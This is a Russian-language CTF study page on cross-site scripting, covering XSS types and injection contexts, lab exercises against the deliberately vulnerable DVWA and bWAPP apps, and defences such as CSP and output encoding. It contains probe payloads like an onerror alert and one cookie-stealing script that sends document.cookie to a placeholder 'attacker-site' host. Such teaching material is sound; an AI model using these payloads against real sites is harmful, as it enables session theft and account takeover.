Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/XSS.md

Авторы данной страницы: Шуруб Игорь (https://github.com/igorshurub) и Заднепрянская Алисия (https://github.com/ZadnepryanskayaAlicia)

Теория

Определение

XSS (англ. Cross-Site Scripting – «межсайтовый скриптинг») встречается в веб-приложениях. Атаки XSS возникают из-за недостаточной фильтрации данных, отправляемых пользователем для вставки в веб-страницу. Суть уязвимости заключается в возможности внедрения кода на страницу, которую просматривают другие пользователи, и взаимодействии этого кода с веб-сервером злоумышленника. Запуск скрипта предоставит злоумышленнику доступ к информации типа «Пользователь-сайт», при этом браузер будет думать, что код запущен из доверенного источника.

Виды XSS

  • Stored XSS:

Сохраненный межсайтовый скриптинг (также известный как XSS второго порядка или постоянный) возникает, когда приложение получает данные из ненадежного источника и включает эти данные в свои последующие HTTP-ответы небезопасным способом. Код запускается каждый раз, когда пользователь посещает конкретный сайт.

  • Reflected XSS:

Отраженный XSS включает внедрение вредоносного исполняемого кода в HTTP-ответ. Вредоносный скрипт не находится в веб-приложении и не сохраняется. Браузер жертвы выполняет атаку только в том случае, если пользователь открывает веб-страницу или ссылку, созданную злоумышленником.

Один запрос и ответ браузера доставляет и выполняет полезную нагрузку атаки. Созданные параметры HTTP или URI содержат строку атаки, которую веб-приложение обрабатывает неправильно.
Особое внимание можно уделить соответствующим функциям приложения, таким как комментарии к сообщениям в блоге. Когда отправленное значение наблюдается в ответе, необходимо определить, действительно ли данные хранятся в разных запросах, а не просто отражаются в немедленном ответе.

Когда определили связи между точками входа и выхода в процессе обработки приложения, каждая ссылка должна быть специально протестирована, чтобы определить, присутствует ли сохраненная уязвимость XSS. Это включает в себя определение контекста в ответе, в котором отображаются сохраненные данные, и тестирование подходящих потенциальных полезных нагрузок XSS, применимых к этому контексту. На данный момент методология тестирования в целом такая же, как и для поиска отраженных уязвимостей XSS.

  • DOM XSS

XSS на основе DOM, также известная как XSS типа 0, представляет собой атаку XSS, в которой полезная нагрузка атаки выполняется путем изменения DOM в браузере жертвы. Это приводит к тому, что клиент запускает код без ведома или согласия пользователя. Сама страница (т. е. HTTP-ответ) не изменится, но злонамеренное изменение в среде DOM приведет к тому, что клиентский код, содержащийся на странице, будет выполняться по-другому.

Это отличается от отраженных или сохраненных атак XSS, которые размещают полезную нагрузку на страницу ответа из-за уязвимостей на стороне сервера. DOM XSS – это уязвимость на стороне клиента.

  • Blind XSS

Является частным случаем Stored XSS. Его отличительной чертой является то, что данные, вводимые злоумышленником, и сохраняемые на сервере, отображаются в другой части веб-приложения.

  • Self XSS

Self-XSS (self cross-site scripting) – это атака социальной инженерии, используемая для получения контроля над веб-учетными записями жертв. При самостоятельной XSS-атаке жертва атаки неосознанно запускает вредоносный код в своем собственном веб-браузере, тем самым предоставляя личную информацию злоумышленнику, своего рода уязвимость, известная как межсайтовый скриптинг. Self-XSS работает путем обмана пользователей, также заставляя их копировать и вставлять вредоносный контент в консоль веб-разработчика их браузеров.

Как проверить, к какому типу относится инъекция (Reflected, Stored, DOM, Self или Blind)

Чтобы проверить, к какому типу относится инъекция необходимо знать информацию об инъекции, а также их отличительные особенности (ключевые моменты).

В типе инъекции Stored существует возможность внедрения кода в веб-страницу, которую просматривают другие пользователи сайта. Ключевой момент: постоянные XSS не требуют от жертвы участия, ей достаточно просто открыть страницу с хранимой XSS. Как только жертва обращается к сохраненной информации, она вместе с информацией получает вредоносный скрипт.

В типе инъекции Reflected данные возвращаются пользователю сразу и при этом не проверяются. Также ключевой момент: атака не сработает, пока злоумышленник не отправит ссылку другим пользователям сайта.

В типе DOM инъекция осуществляется в параметры структуры DOM, в частности document.url, document.location и document.referrer. Общий принцип в целом совпадает с предыдущими (происходит запуск кода без его проверки). Но ключевой момент: нельзя отследить наличие кода инъекции в отображаемой HTML-странице, т.к. вредоносный скрипт не уходит на сервер, а выполняется (и может оставаться) непосредственно в браузере пользователя.

В типе инъекции SELF только сам пользователь сайта может выполнить код, который приводит к XSS. Ключевой момент: чтобы эксплуатировать Self XSS, злоумышленник должен заставить пользователя выполнить нужный ему код, поэтому злоумышленники прибегают к социальной инженерии при эксплуатации Self XSS.

Тип инъекции Blind XSS является частным случаем Stored XSS. Она возникает, когда данные, вводимые злоумышленником, сохраняются на сервере, но отображаются в другой части приложения или вообще в другом приложении, отличном от того, в котором они были введены. Ключевой момент: код злоумышленника не обязательно выполнится именно в какой-либо форме, обычно это какой-то внешний сервис.

Контексты XSS

При тестировании отраженных и сохраненных XSS ключевой задачей является идентификация контекста XSS: местоположение в ответе, где отображаются данные, контролируемые злоумышленником. Любая проверка входных данных или другая обработка, выполняемая приложением для этих данных. Основываясь на этих деталях, можно выбрать одну или несколько потенциальных полезных нагрузок XSS и проверить, эффективны ли они, и отфильтровать по событиям и тегам и посмотреть, какие векторы требуют взаимодействия с пользователем.

  • Простой HTML контекст
    Возникает в теле существующего HTML-тега или в начале (конце) страницы вне тега

    • <html_tag>user_input<html_tag>
    • <img src=x onerror=alert(1)>
  • Контекст HTML- комментариев
    Внутри секции комментариев HTML

    • <!--comment user_input comment-->
    • --><img src=x onerror=alert(1)>
  • Контекст имени HTML атрибута
    Внутри открытого HTML тэга, после имени тэга или после значения атрибута.

    • <html_tag user_input attr_name=”attrib_value”/>
  • Контекст значения HTML атрибута
    Внутри открытого HTML тэга, после имени атрибута отделённого символом =.

    • <html_tag attr_name=”user_input”/>

Есть три вариации этого контекста:

  1. атрибут внутри двойных кавычек;
  2. атрибут внутри одинарных кавычек;
  3. атрибут без кавычек.
  • Атрибуты события

Значения этих атрибутов выполняются как JavaScript. Тоже самое, что и JavaScript контекст.

  • URL атрибуты

Эти атрибуты принимают URL в качестве значения.

  • Специальные URL атрибуты

Это URL атрибуты, где ввод обычных URL может привести к проблемам безопасности.

  • Атрибуты тега МЕТА

Meta теги, такие как Charset, могут влиять на то, как содержимые страницы интерпретируется браузером. И есть атрибут http-equiv, который может эмулировать поведение заголовков ответа HTTP. Воздействия на значения заголовков Content-Type, Set-Cookie.

  • Обычные атрибуты

Если ввод появляется в значениях обычных атрибутов, то этот контекст должен быть экранирован, чтобы это привело к выполнению кода.

  • Контекст JavaScript

Внутри раздела страницы JavaScript кода.

<script>

any_javascript

user_input

any_javascript

</script>

Поиск XSS уязвимостей

Наиболее вероятное место размещения XSS-уязвимости на сайте – это то место, куда обычный пользователь может добавить текст или JavaScript-код.
В качестве простых и распространенных проверок на наличие данной уязвимости можно использовать код, который после успешной отработки откроет пользователю стандартное браузерное окно, например, alert. Также нужно обращать внимание на get-параметры запроса, передающиеся в URL запросе, если в get-параметре при поиске появился запрос, то велика вероятность, что страница подвержена уязвимости. В этом случае в тот же код (<script>alert(1)</script>) вместо запроса подставляем get-параметр и обновляем страницу. В случае успеха в браузере появится окно с 1.

Например при помощи следующего скрипта: <script>window.location='http://attacker-site/?cookie='+document.cookie</script>

Можно создать HTTP-запрос на другой URL-адрес, который перенаправляет браузер пользователя на сервер атакующего. URL-адрес включает в себя куки жертвы в качестве параметра запроса. Когда HTTP-запрос приходит на сервер атакующего, он может извлечь эти куки из запроса. После того, как злоумышленник получил куки, он может использовать их, чтобы выдать себя за жертву и начать последующее нападение.

Практика (данная практика из блока уязвимостей metasploitable 3)

Задание 1.

Уязвимость XSS (Stored) проекта DVWA на простом (Low) уровне сложности.

Перейдем на страницу XSS (Stored) проекта DVWA:
image

Попробуем отправить в качестве сообщения HTML-теги:
image

Видим, что в поле Message отобразился отформатированный тегом h1 текст. Это означает, что текст вместе с форматированием сохраняется на сервере и возвращается пользователю отформатированным:

image

Теперь попробуем сохранить на странице скрипт :
image

Видим всплывающее окно и куки, т. е. XSS есть:

image

Можно теперь зайти на страницу несколько раз и увидеть результат выполнения скрипта:

image

Если открыть исходный код страницы, в нем можно найти те записи, которые есть в таблице, прямо вместе с тегами:

image

Как мы можем видеть, исполняемый код попадает и сохраняется на сервере именно таким, каким он был отправлен на сервер, даже сохраняются теги. Когда страница будет возвращена пользователю, скрипт будет выполнен. 
В данной атаке мы использовали следующий вектор атаки: <script>payload</script>, вместо payload был использован alert(document.cookie).
Модель безопасности в Интернете базируется на политике одинакового источника. Политика одинакового источника (same-origin policy) определяет как документ или скрипт, загруженный из одного источника (origin), может взаимодействовать с ресурсом из другого источника. Это помогает изолировать потенциально вредоносные документы, снижая количество возможных векторов атак.

XSS позволяет обойти SOP. Поэтому для защиты от атак Reflected XSS необходимо выполнить следующее:

  • Внедрить политику безопасности контента Content Security Policy (CSP)
  • Производить проверку (фильтрацию) данных, которые передаются
    Также в некоторых случаях необходимо использование парсеров. Существует достаточное количество библиотек для парсинга, поэтому найти и использовать подходящий, не должно быть большой проблемой.

Задание 2.

Уязвимость XSS (Reflected) проекта DVWA на простом (Low) уровне сложности.

Перейдем на страницу XSS (Reflected) проекта DVWA (вводимые данные не проверяются):

image

Попробуем передать туда строку и найти ее в исходном коде страницы, которую вернет сервер:

image

Посмотрим, что отобразилось в выводе приветствия:

image

Если открыть исходный код страницы, мы можем найти введенную строку:

image

Попробуем передать в уязвимый параметр скрипт такого вида: и посмотрим, что получится:

image

Браузер вернул куки:

image

Теперь снова посмотрим на исходный код возвращенной страницы:

image

Для защиты от данного типа необходимо выполнить следующее:

  • Внедрить политику безопасности контента Content Security Policy (CSP)
  • Производить проверку (фильтрацию) данных, которые передаются

Задание 3.

Уязвимость XSS (DOM) проекта DVWA на простом (Low) уровне сложности.

Перейдем на страницу XSS (DOM) проекта DVWA:
image

Посмотрев исходники данной страницы, видим, что никакой защиты нет:
image

Протестируем нашу страницу, нажав на кнопку «Select»:

image

Видно, что ссылка изменилась, данные передаются методом «GET». В адресной строке URL мы можем попробовать ввести вредоносный код:
image

Вместо слова «English» введем простой скрипт на JavaScript, например, скрипт с alert: , и он выводит следующее всплывающее окно на странице:

image

Задание 4.

Наличие XSS вектора, который использует событие onerror, на странице XSS – Reflected GET проекта bWAPP.

Перейдем на страницу XSS – Reflected GET проекта bWAPP:
image

Реализуем простой HTML-контекст, используя событие onerror. Контекст возникает в теле существующего HTML-тега или в начале и в конце страницы вне тега . В этом контексте вместо данных можно вписать валидный HTML любого рода, и он немедленно будет воспроизведен браузером. Например, такой: :
image

Это и есть простой HTML-контекст внедрения XSS. В рамках него пользовательский ввод будет выполнен с выполнением всего форматирования:

image

Для защиты от данного типа необходимо выполнить следующее:

  • Внедрить политику безопасности контента Content Security Policy (CSP)
  • Производить проверку (фильтрацию) данных, которые передаются

Задание 5.

Уязвимость XSS на странице XSS – Stored (Coookies) проекта bWAPP на простом (Low) уровне сложности.

Перейдем на страницу XSS – Stored (Coookies) проекта bWAPP:

image

Настроим Proxy в браузере:

image

Запустим утилиту BurpSuite:

image

image

На сайте выберем любимый жанр (например, Science Fiction):

image

Перейдем в BurpSuite:

image

Поменяем выбранный жанр sci-fi на Comedy (при этом в cookie пока нет значения movie_genry) и отправим запрос (Forward):

image

Выберем снова жанр:

image

Как мы видим, жанр Comedy отобразился в cookie:

image

Выводы:

Защита от XSS:

Защита от отраженного XSS в первую очередь заключается в том, чтобы избежать использования динамического вредоносного контента из HTTP-запросов для встраивания скриптов в уязвимое приложение. Некоторые подходы к достижению этого включают:

  • Подтвердить ввод пользователя

Проверка пользовательского ввода/фильтрация контента формирует первую линию защиты от большинства XSS-атак, включая отраженные XSS. Крайне важно рассматривать пользовательский ввод из любого источника как ненадежный и сформулировать механизмы проверки на соответствие семантическим и грамматическим требованиям. Команды безопасности также должны применять белые/черные списки для шаблонов данных, которые должны быть приняты или отклонены. Кроме того, группам контроля качества и администраторам рекомендуется рассматривать данные как от аутентифицированных, так и от общедоступных пользователей как ненадежные входные данные, применяя одни и те же методы очистки входных данных для всех пользователей.

  • Избегать динамического контента

Предположим, что приложение использует управляемые пользователем данные как часть своих HTTP-ответов. В этом случае выходные данные должны быть закодированы таким образом, чтобы сервер не интерпретировал их как активное содержимое. Это гарантирует, что любые специальные символы из хранилища данных приложения обрабатываются как содержимое тега HTML, а не как необработанный HTML. Рекомендуется заменить любые значимые динамические символы схемами кодирования объектов HTML для безопасной интерпретации. Разработчикам следует использовать специальные инструменты для включения безопасной таблицы стилей и кодирования скриптов, если динамическое содержимое вставляется в теги